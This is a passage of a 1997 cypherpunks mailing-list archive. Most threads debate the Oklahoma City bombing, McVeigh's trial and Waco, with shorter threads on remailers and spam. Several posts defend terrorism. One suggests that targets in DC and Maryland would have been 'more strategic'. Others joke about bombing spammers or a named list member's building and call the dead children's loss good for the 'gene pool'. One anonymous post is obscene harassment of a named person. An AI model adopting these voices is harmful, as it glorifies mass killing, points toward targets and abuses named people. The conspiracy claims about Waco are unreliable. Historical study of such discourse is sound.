   to find. Some of these logins are giveaways from people who ponied up
   the low, one-time-only flat fees that many sites charge. Others,
   apparently, were obtained with phony credit card numbers. Who knows
   how Porn Piratz get the rest. But they do: A Hustler executive told us
   that Hustler's sites have seven times its paid membership logging on
   every day.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: User Name <user@rand.org>
Date: Thu, 5 Jun 1997 04:04:25 +0800
To: hackers@freebsd.org
Subject: nude gifs plz
Message-ID: <3395BE29.871@rand.org>
MIME-Version: 1.0
Content-Type: text/plain



plz sends da gifz of naked chicks!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 5 Jun 1997 01:07:21 +0800
To: Mike Duvos <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu>
Message-ID: <33959602.41C6@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Mike Duvos wrote:

> No government can afford to behave in a way that outrages large numbers of
> citizen-units, and provokes action on the part of the less mentally stable
> ones.  Janet Reno sealed the fate of the federal building on the day that
> she took action which resulted in numerous children being incinerated,
> just so she could win a dicksizing contest with a religious extremist.

Crap.

The kids were murdered by Koresh who had the compound set alight.
I've gone over the videos we made live off CNN. There is absolutely 
no doubt that the fire started in multiple places.

If you are going to mouth off conspiracy theories at least make
them credible.

If a group of people shoot anyone approaching them for any reason
whatsoever the police have an absolute need to investigate. There
was nothing else the authorities could have done except prevent
Koresh from accumulating the arms in the first place.

The FBI bungled the seige baddly but thats why Freeh is currently
in charge of the FBI.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 5 Jun 1997 04:05:49 +0800
To: Hallam-Baker <mccoy@hesiod.communities.com
Subject: Re: Who "invented" remailers?
In-Reply-To: <v03102811afba9fb5ad1c@[207.167.93.63]>
Message-ID: <v03102802afbb6fa5d6b4@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>On the other hand it strikes me that if we could work out a better version
>of Julf's pi.net remailer there would be a considerable benefit to the net.

At FC '97 Jim McCoy gave a presentation on a significant upgrade to
anonymizer-type remailers.  At the time Jim said is was only a few months
from a testable system.  I haven't heard anything since then.  Perhaps
Lucky knows or Jim will chime in.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 5 Jun 1997 01:17:43 +0800
To: Paul Bradley <cypherpunks@toad.com
Subject: Re: McVeigh
In-Reply-To: <199706030603.CAA22498@dhp.com>
Message-ID: <33959B0B.167E@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain



Paul Bradley wrote:
> 
> > Hallam-Baker, realizing he is a soft target, wrote:

> I would say that the visible and government-vilified militia groups have
> been damaged by this, because of the killing of innocents. Where is the
> second AP bot, I know about the one at sympatico.......

I find it very hard to credit people as being opposed to
censorship when they make thinly veiled threats of murder
when people post things they don't like.

This is the type of censorship that the IRA uses in NI,
Catholics who join organisations opposed to the IRA get
death threats and threats of punishment beatings. When 
the parents of the five year old murdered by an IRA bomb
placed in a rubish bin outside a McDonalds announced
a US speaking tour the IRA threatened to murder them.

Murdering your opponents for what they say is censorship. 

Bell's Murder Politics scheme was a censorship scheme.

The fact that Miltia sympathisers condone censorship 
through murder while fulminating at censorship by
governement does not surprise me in the least. i can
guess that someone will try to redefine censorship to
exclude death threats.

It is precisely beause of this type of behaviour that
people consider the militias and their sympathisers to
be fascist in nature and a threat to the values they
claim to defend.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 5 Jun 1997 03:59:06 +0800
To: cypherpunks@toad.com
Subject: Spam costs and questions
Message-ID: <Pine.GSO.3.95.970604124518.14450E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



A friend who's going to be speaking on one of the FTC panels next week
sent me a few questions about spam. Does anyone want to try their hand at
answering them? I'll forward along all responses I get.

	What are the costs to consumers of
	unsolicited e-mail?  I guess the time it
	takes to delete it might be one, hard
	drive space might be another.  I would
	like to know how to quantify it, and
	compare it with the cost of sending
	e-mail.

	If you banned commercial e-mail,
	wouldn't it just affect legitimate
	commercial transactions?  That is to say,
	wouldn't fly-by-night pyramid-scheme
	builders still be able to spam?  I would
	think that if they are so untraceable
	that it's hard to block their spam that
	it wouldn't really matter if it were
	simply made illegal.

-Declan







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: winsock@rigel.cyberpass.net (WinSock Remailer)
Date: Thu, 5 Jun 1997 01:53:30 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh
Message-ID: <199706041720.KAA01490@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




Lucky Green <shamrock@netcom.com> wrote:

>At 08:41 PM 6/2/97 -0400, Hallam-Baker wrote:
>>Appologists for McVeigh should consider that his actions did not 
>>advance the militia cause an iota, it destroyed it and along with 
>>it much of the right wing fringe.
>
>"Follow the money" is usually sound advice. More general, ask "who
>benefits". Clearly, the constitutional militias and civil libertarians are
>the losers of the Oklahoma bombing. The sole benefactors are the statists
>and numerous government agencies.
>
>'Nuff said,

Amen, Lucky. Perhaps it hasn't been pointed out often enough here,
but this man spent YEARS in the US military, including a very brutal
(if short) war. From all accounts, he attended exactly ONE Michigan
militia meeting, and they kicked him out when they heard his violent
rantings before the meeting was even over. There are no reports of
him attending ANY other militia meetings.

Is it only me, or could the phenomenon of militias being painted into
(alleged) responsibility for this terrorist act not have happened in
the absence of virulent anti-second-amendment-rights bias in the
media? I thought so.
me











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Thu, 5 Jun 1997 01:45:55 +0800
To: Seth Finkelstein <cypherpunks@Algebra.COM
Subject: Re: What Cultural Monopoly?
In-Reply-To: <3.0.2.32.19970604062506.03bc0cd0@panix.com>
Message-ID: <3.0.2.32.19970604133401.035f34dc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>	If even you are red-baiting me now, it's time to pack it in.
>I've lost. There must be easier ways to spend my time, like taking up
>persuading mules as a hobby. Time for another vacation from the list.

Don't go Seth.  We need you.

>	The point was using real-Communist as a test of availability
>(I keep saying real-Communist to ward off the stupid comments like
>someone saying "Mario Cuomo").

Gerald Posner had a TV chat show for a while with Marlo Thomas' husband.  I 
don't think he's on any more but he is a genuine commie.

Have you tried your local Pacifica affiliate in Cambridge WMBR 88.1 FM.  Here 
in New York we are blessed with genuine Marxists on WBAI an actual Pacifica 
station:

http://www.pacifica.org

"The stations of Pacifica Radio include KPFA Berkeley, KPFK Los Angeles, WBAI 
New York, KPFT Houston, and WPFW Washington, D.C. as well as 43 affiliate 
stations."

We also have genuine Marxists on WLIB (a *commercial* station):

http://www.wlib.com 

"WLIB 1190AM is the soul of New York's Black Community. It is the collective 
mind and experience of a people. It is the spirit and hope of the race. WLIB 
is the very heart of African American, Caribbean and African Culture, 
representing millions of residents in the New York, New Jersey, and 
Connecticut metropolitan areas."

>	But despites the "thousands of stations where you can hear
>lots of different people", as Lizards said, the spectrum is fairly narrow.

That was then this is now.  As soon as we can muscle the FCC out of the 
picture and throw open the whole spectrum to efficient modern utilization and 
as soon as we deploy ADSL, Cable Modems, etc for high bandwidth net access
and 
get good audio and video netcasting opportunities, there will be plenty of 
room for all sorts of ideas and the diversity of people's *interests* will 
guarantee that the whole spectrum of ideas has a place.

>	Note as *effective* (not theoretical) audience goes up,
>ideological span goes *way* down. This has bad implications for the
>evolution of the Net.

Since anyone will still be able to put up any kind of a website, the span
will 
be just as wide now or wider than ever in the future.  As it is now than in 
the past.

That's what happened with books.  Today, it is easier to obtain a wider range 
of books than ever before.

>	Straight from the source, the things that will be expressed
>are that which make the radio station owners rich. He said it, I
>didn't. That's not the same at all as that which people would want to
>hear, even for obvious reasons as marketing pressures to more wealthly
>audiences. 

That's under the current economic model.  Even today, had frequencies been 
allowed to be traded freely from the beginning, we would have more diversity 
because we would have more stations.

>Trying to pound even these tiny insights through the yammer
>noise is just taking too much energy.

I know what you mean, Seth.

I'm still trying to get you guys to name some actual person in the U.S. that 
lives in a smaller or less diverse media environment than a person similarly 
situated would have lived in before.

DCF

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 5 Jun 1997 04:52:41 +0800
To: Declan McCullagh <declan@well.com>
Subject: [Tangent] Spam and the Unibomber
In-Reply-To: <Pine.GSO.3.95.970604124518.14450E-100000@well.com>
Message-ID: <Pine.GSO.3.96.970604132328.8869A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Declan McCullagh wrote:

> 	If you banned commercial e-mail,
> 	wouldn't it just affect legitimate
> 	commercial transactions?  That is to say,
> 	wouldn't fly-by-night pyramid-scheme
> 	builders still be able to spam?  I would
> 	think that if they are so untraceable
> 	that it's hard to block their spam that
> 	it wouldn't really matter if it were
> 	simply made illegal.

This reminded me of a thought I had this morning...

If the Unibomber had actually wanted to improve his reputation capitol, he
should have gane about things differently.

Instead of going after college professors and the like (which only appeals
to MUDers and other people failing thair classes) he should have taken on
a different group.

If he had issued out a Make Money Fast pyramid scheme with his PO box as
one of the addresses and then sent bombs to those who responded, he would
have been the hero to millions.  By eliminating would-be spammers from the
downline of life, he would have been the savior to millions.  he would
have web pages in his honor.  He would have bumper stickers with such
slogans as "SPAM = DEATH" made in his honor.

But he blew it...

I guess we can only dream of it happening in our lifetime...

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 02:58:31 +0800
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <199706041844.NAA20350@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

<sigh> If you don't want your children to get blown up don't put them in
harms way. The government *KNEW* that this building was the target of
numerious groups. They especially knew that it was a major risk on that
day. They did nothing to warn the occupants of the building.

This is no different than palcing a daycare center in a munition factory
durring a time of war and then blaming the bomber pilots for blowing up
children.

The Judge of the McVeigh case said himself in his instructions to the jury
that there was no evidence that McVeigh knew of the day care center in the
building. McVeigh was going after the ATF agents in the building (all of
which were conviently gone at the time of the bombing).

A just where were your tears for the children that were burned alive by
the ATF in Waco or the children of Weaver guned down by sinpers at Ruby
Ridge? I guess it only ok to kill children if it's the Federal Government
doing it.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 03:28:05 +0800
To: Tim May <tcmay@got.net>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <v03102818afbb58470a20@[207.167.93.63]>
Message-ID: <199706041913.OAA20798@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102818afbb58470a20@[207.167.93.63]>, on 06/04/97 
   at 10:51 AM, Tim May <tcmay@got.net> said:

>Yes, innocents die in such attacks. Yes, grieving mothers cry. Yes, yes,
>yes to all of the denunciations of terrorism. But the fact is that all
>war is a kind of terrorism, and all wars and all struggles have resulted
>in deaths of innocents.

>(Intereting that Bell is so widely condemned for wanting to transfer the
>burden to the actual guilty parties, and not the innocents usually
>consumed as fuel in wars.)

Hi Tim,

I think a distinction needs to be made between a war of aggression and
people defending against that aggression.

For the most part thoses labeled as "terrorist" are the one who are
fighting against an aggressor. Most terrorist don't just wake up one
morning and decide to start blowing things up. They only become active
after a foreign power attacks them and they react in self defence no
different if some one breaks into you house and you shoot them (I am sure
that there are some liberal winnies here who think that selfdefence is
wrong).

If you did not have the Federal government acting as an aggressor towards
its own citizens then you would not see such things happen.

I personnaly think the OK was a poor choice of targets. There are much
more strategic targets in DC and MD. You would think that McVeigh, with
his military background, would have known better.



- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 5 Jun 1997 03:34:13 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Who "invented" remailers?
Message-ID: <199706041922.OAA20901@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.96.970604112313.13859B-100000@linda.teleport.com>, on
06/04/97 
   at 11:46 AM, Alan <alano@teleport.com> said:

>Unfortunatly for mixmaster to work effectivly, you need a threshold of
>usage.  That threshold has not been reached yet.  With the successful
>campaign against remailers by those who oppose them, the problem is made
>worse.  (As well as supporting a form of encryption not commonly
>available to "Joe Sixpack".)  Currently, use of the Mixmaster remailer
>system is out of reach of most of the average users out there.  The only
>serious project to address that need has been Private Idaho and
>development has stopped on that project.

Development has not stoped on PI. As a matter of fact I just received an
announcement that a new release is out. I am currently working on a
simmilar project for the OS/2 platform. I am not sure what is being done
on the Mac or *nix.

Currently I am testing remailer support using PGP encryption but should
have mixmaster support as soon as I get the mixmaster code ported over. I
just downloaded the new mixmaster code so I will have to se what changes
have been made.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 5 Jun 1997 02:55:12 +0800
To: cypherpunks@toad.com
Subject: G-10 on Electronic Money
Message-ID: <1.5.4.32.19970604183409.00936120@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer the April 1997 report of the G-10 countries*
"Electronic Money."

   http://jya.com/g10emoney.htm  (121K)

This is a survey of the electronic payments systems
of the ten countries, and the status and prospects 
in each for policy, law enforcement, privacy and related 
issues.

The report is by a Working Party set up after the Lyon 
conference in June 1996 to examine three policy areas:

   (1) consumer issues; 
   (2) law enforcement issues; and 
   (3) supervisory issues 

It was presented at a G-10 conference in DC on April 28 
and publically released in the US on May 7 by the Treasury
Department.

* Belgium, Canada, France, Germany, Italy, Japan,
Netherlands, Sweden, Switzerland, United Kingdom
and the United States.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Thu, 5 Jun 1997 06:42:28 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199706042203.PAA11358@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



May Timothy C. Mayo's forgeries get stuck up his ass 
so he'll have to shit through his filthy mouth for the 
rest of its miserable life.

           o       o
         /<         >\ Timothy C. Mayo
         \\\_______///
         //         \\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 5 Jun 1997 04:51:45 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Webpage picketing?... (fwd)
In-Reply-To: <199706041411.JAA01411@einstein.ssz.com>
Message-ID: <Pine.BSF.3.91.970604152320.25228D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 4 Jun 1997, Jim Choate wrote:

> Forwarded message:
> 
> > Date: Tue, 3 Jun 1997 16:02:02 -0700
> > Subject: Re: Webpage picketing?...
> > From: nobody@huge.cajones.com (Huge Cajones Remailer)
> 
> > > You may dislike
> > > one of the sites linking to yours, but you really can't hijack their
> > > connections and force people to listen to you who don't want to.
> > 
> >   Wrong! It's done every day in every media from newspapers to TV
> > and points in between, including the InterNet.
> 
> >   I have a lot of respect for Peter's work, opinions and for his
> > integrity, but my perception is that he fails to understand that
> > the InterNet is a growing mosaic which can and should reflect
> > *all* of life, and that his perception of what the InterNet is
> > and should be somehow dictates what should and should not be
> > done on the InterNet.

Perhaps Peter should have wacked you with a bigger clue-stick.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 5 Jun 1997 06:58:14 +0800
To: Chris DiBona <chrisd@loc201.tandem.com>
Subject: RE: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <Pine.3.89.9706041516.A12832-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Chris DiBona wrote:
> Do these children
> who may be important to you have parents who "care" about them enough to
> scour the planet to find a good,safe day care that isn't withing the blast 
> radius or
> shooting range of :

[list of public places elided]

Perhaps taking your kids to day care in a downtown area is not a very good 
idea in the first place. But putting them into daycare inside a federal 
building is criminally stupid.

Some on this list will even 
say that the kids' deaths fortunately 
reduced the negative impact their parents can have on the gene pool.


--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 5 Jun 1997 06:58:16 +0800
To: cypherpunks@Algebra.COM
Subject: Re: May's Banal Rant
In-Reply-To: <v03102808afb8d91fbb72@[207.167.93.63]>
Message-ID: <19970604154744.59593@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, Jun 03, 1997 at 04:56:00PM -0700, Tim May wrote:
> At 4:28 PM -0700 6/3/97, Kent Crispin wrote:
[...]
> >
> >Some grew up.  Some, like Peter Pan, want to remain children forever.
> >
> 
> At least we can expect to see Kent Crispin soon leaving the list.

Possibly.  I have a life.  OTOH, I could lurk for years.

> Historically speaking, when writers stoop to one line insultings of the
> list they leave soon thereafter.

It was a pretty mild insult, relatively speaking, and not really 
aimed at the list in general.

Actually, I was thinking of a news report I read recently about the
nationwide drop in violent crime.  This trend is very widespread, and
is probably explained by the aging of the population -- statistically
it is true that most violent crime is perpetrated by young men in the
throes of a testosterone high.  Similarly, as the list membership
gets older and matures the interest in macho displays diminishes. 

Certainly on this list we see a clique with a strong adolescent macho
fascination with guns and violence, and certain of these individuals
exhibit other signs of stunted emotional growth.  Peter Pan and the
Lost Boys seemed an apt image for this group.

> (Vulis excepted, of course.)

Of course.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Hayden" <hayden@krypton.mankato.msus.edu>
Date: Thu, 5 Jun 1997 05:04:58 +0800
To: Cypherpunks Mailing List <cypherpunks@cyberpass.net>
Subject: Re: McVeigh
In-Reply-To: <33959B0B.167E@ai.mit.edu>
Message-ID: <Pine.ULT.3.95.970604154333.14912A-100000@krypton.mankato.msus.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Maybe it is just me, but I think the whole McVeigh trial issues aren't
about whether he did or didn't do it.  it's important, but my concerns are
more about the process the government used to prove it's case.

It's built this huge circumstantial case, sprinkled liberally with weeping
mothers and children, added with a couple of witnesses who would probably
say anything to avoid execution.

None of it actually proved he DID it, just that it was possible. 

When a person can be convicted by sympathy, twisted circumstantial
evidence, and testimony given under threat of execution, you have to
wonder about the _process_ in this country, and th idea of trial by an
impartial body.

In my gut, I think he probably did do it, but I cannot see how the
prosecutors proved it beyond a "reasonable doubt".

Considering the testimony that is going to be allowed for the penalty
phase, I cannot forsee any verdict other than death.


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Robert A. Hayden              hayden@krypton.mankato.msus.edu   __
         -=-=-=-=-=-                              -=-=-=-=-=-   \/_
         http://krypton.mankato.msus.edu/~hayden/Welcome.html    \/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 5 Jun 1997 07:07:10 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: BOUNCE cypherpunks@Algebra.COM:     Admin reques
In-Reply-To: <199706042229.RAA05009@manifold.algebra.com>
Message-ID: <Pine.GSO.3.96.970604154121.8869C-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain




Quoting Ray Everett-Church:

> As stated before, I have heard no convincing argument that it is in the 
> consumers best interest to have an anonymous *vendor*. Sure it's vital 
> that *consumers* be allowed to remain anonymous, but if you're selling a 
> product or service, there's no legitimate reason why a business needs to 
> remain anonymous given issues of warranties, product liability, sales 
> taxes, etc.

I can think of a number of reasons why a business would want to remain
"hidden".  Fear of retribution is the biggest.  This could be "valid"
retribution (such as for selling shoddy products or annoying sales
practices) or "invalid" retribution (such as selling a product that
offends the local moral or legal establishment), but is a product that
people desire and are willing to pay money for.

But such markets are "illegal" and thus not to be thought about by good
little citizen units.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Thu, 5 Jun 1997 07:14:18 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: The New War
In-Reply-To: <199706042242.RAA24008@mailhub.amaranth.com>
Message-ID: <Pine.GSO.3.96.970604160152.8869D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, William H. Geiger III wrote:

> If the only two choices for crypto work is Organized Crime (Mob,Drug
> Dealers, Rouge Nations, ...ect) and Orginzed Crime (Feds) I'll have to go
           ^^^^^
Are these part of the narcotics trade? ]:>

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 5 Jun 1997 04:16:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: McVeigh is not the issue!
In-Reply-To: <v0310280bafba6a8c2fcf@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970604160439.24801A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 3 Jun 1997, Tim May wrote:

> I don't see the McVeigh issue as one where we need to get into a pissing
> contest. He blew up the building, he got caught, he got convicted, and now
> he'll spend another $15 million of our money appealing his conviction for
> the next several or more years.

Yes, but that's $15M less tax payer dough the evil Uncle can use to build
stealth bombers, nukes, or buy hard drives to store surveilance on. :)
I'd rather have it "wasted" on him than on NSA spook salary, wouldn't you?

For that, he is to be commended.  (IMHO, he should have used that Ryder
truck on Vulis's apt building, but that's a given. :-)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 5 Jun 1997 07:39:22 +0800
To: Hallam-Baker <hallam@ai.mit.edu>
Subject: Re: McVeigh
In-Reply-To: <199706042113.RAA15819@muesli.ai.mit.edu>
Message-ID: <Pine.3.89.9706041627.A12832-0100000@netcom19>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Hallam-Baker wrote:
> Give it a rest. The people inside had already murdered several BATF
> agents. They had every opportunity to release the children and allow
> them to get to safety. They had every opportunity to surrender.

Surrender to whom? To those that had fired upon their church when first 
approaching? Remember, the ATF fired *first*. [The ATF claimed they 
opened fire when they were shot at through the wooden front door from inside 
the church. The front door was made of solid steel. After burning all the 
worshippers inside, the ATF removed the front door and stored it in an 
evidence room. The door is listed on the evidence log. That's the last 
time anyone other than the feds has seen the door. When the survivers 
wanted to present the door in court to prove that the only bullet holes 
were from shots fired from the outside (the ATF), the door had vanished 
into thin air. To this day, the steel door can not be found.]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 5 Jun 1997 04:49:42 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: McVeigh
In-Reply-To: <Pine.LNX.3.91.970603182957.90A-100000@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.96.970604161638.24801B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 3 Jun 1997, Paul Bradley wrote:

> Tim McVeigh certainly acted for the right reasons. This does not make him 
> any less guilty, he killed innocent children in that building (no, I`m 
> not subscribing to the "save the children!" mentality, and do not believe 
> that an innocent childs life is more valuable than that of an innocent 
> adult, merely noting that as children they could not have been guilty of 
> acts of agression against McVeigh or anyone else because they were under 
> the age of criminal responsibility), if we were to say he were any less 
> guilty we would be allowing ourselves to believe in thoughcrime, and not 
> judging the overt act. 

There are those who would say that since the day care center catered to
employees of the building, etc. McVeigh didn't make a mistake there, as
reprehensible as that part of it was.

A better question, and a bigger issue is this: what plausible explanation
was given for the lack of BATF agents in the building on that day?  Could
it be that they knew about the attack?  If they did, why did they allow it
to happen, thus killing those kids in the day care center.  If they did,
we know who the true criminals are.  But this is a good question.  Will we
ever know the truth?

IMHO, If McVeigh did what he did, frying or lethal injection is
acceptable, he decided to take an action that would potentially cost him
his life, gambled and lost.  Like all terrorists, the price of killing
many is the price of being killed.  Etc.  It's a fair trade from one point
of view (though my money says he's shitting bricks right now), unfair from
the victim's point of view.

On one had we have the "faceless" evil governmet that McVeigh and Co. are
against.  On the other we have the day care center and media fodder, etc.
Somewhere in between lies reality.

What happens in the future and what results come out of this are yet
unknown.  Many threads of action by Uncle Sam are possible, unfortunaly,
he's likely to have forced the "faceless" evil ones to be yet even more
fascist and restrictive, which in turn would fuel the next set of
terrorist activities, and the impending revolution the militia is seeking.
Let's see what happens.

The unfortunate truth is that people will not put up with fascist behavior
for very long.  They may call for it to the point of a military state
citing crime statistics, unsafety and such...  But at one point you'll see
them scream "freedom" and grab the nearest weapon - be it a tree branch or
an A1 Abrams tank. :)  And that is something America once knew - now, it
knows "let's legislate the fuck out of the sheeple.  More laws.  This
should be illegal"  Or advertisements for things like circuses that say
"This much fun should be illegal" illustrate the point.

Life sucks.  Death sucks even more.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Thu, 5 Jun 1997 04:55:27 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <01BC70D6.40D6C320%chrisd@loc201.tandem.com>
Message-ID: <3395DF62.7A63@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Chris DiBona wrote:
> 
> <rant>
> 
> Okay folks...what the hell is wrong with you? First off, this whole McVeigh
> Crap is a bit off topic..but we all know this. The amazing thing about the
> string of posts has been that people have forgotten that He has been found
> guilty of murdering quite a few people. Guilty,  Guilty,  Guilty. Jury of
> his peers, dare I say, people like us all. Randomly selected. This is how
> our system works.
> 
> Yes there are flaws in the system.
> 
> Yes the US govt. has it's problems in the past, present and future.
> 
> Yes people have died because schnooks in DC have had thier heads up thier
> ass. Or not.
> 
> So whether or not you belive he did it.....how can anyone be _for_ what
> _happened_. People died senselessly, I can't believe that anyone (in this
> case Duncan Frissell frissell@panix.com, lets give credit where it is due)
> can be so callous and , frankly, sick , to say :
> 
> <>
> As to the Children of OKC, people who turn the care of their children over
> to
> government employees or contractors do not place too high a value on those
> children.
> <>
> 
> Are you serious? You should be ashamed that you think this way. Do you
> really
> think those children who died weren't cared for? You are a sick person who
> should seriously consider therapy. Anyone who read this and said "Yeah!"
>  is
> on the same plane.
> 
> To all the people who defend blowing shit and people up to get thier point
> across....
> 
> Okay..so the IRA does it, and HAMMAS does it, and the CIA does it. So does
> the
> PLFP the FARC and a zillion other terrorist groups. And it appears McVeigh
> did it.
> But that doesn't make blowing up children in freakin' day care all right.
> Do you
> understand this? There is no reason to blow up kids. It's wrong. For any
> reason.
> Bad. Duncan...looking over your past posts.. .I've got to wonder if you
> were on acid
> when you wrote this, many of your posts were fairly cozigent. But this? Do
> you have
> children? Any  cousins who are children? A nephew or neice? Do these
> children
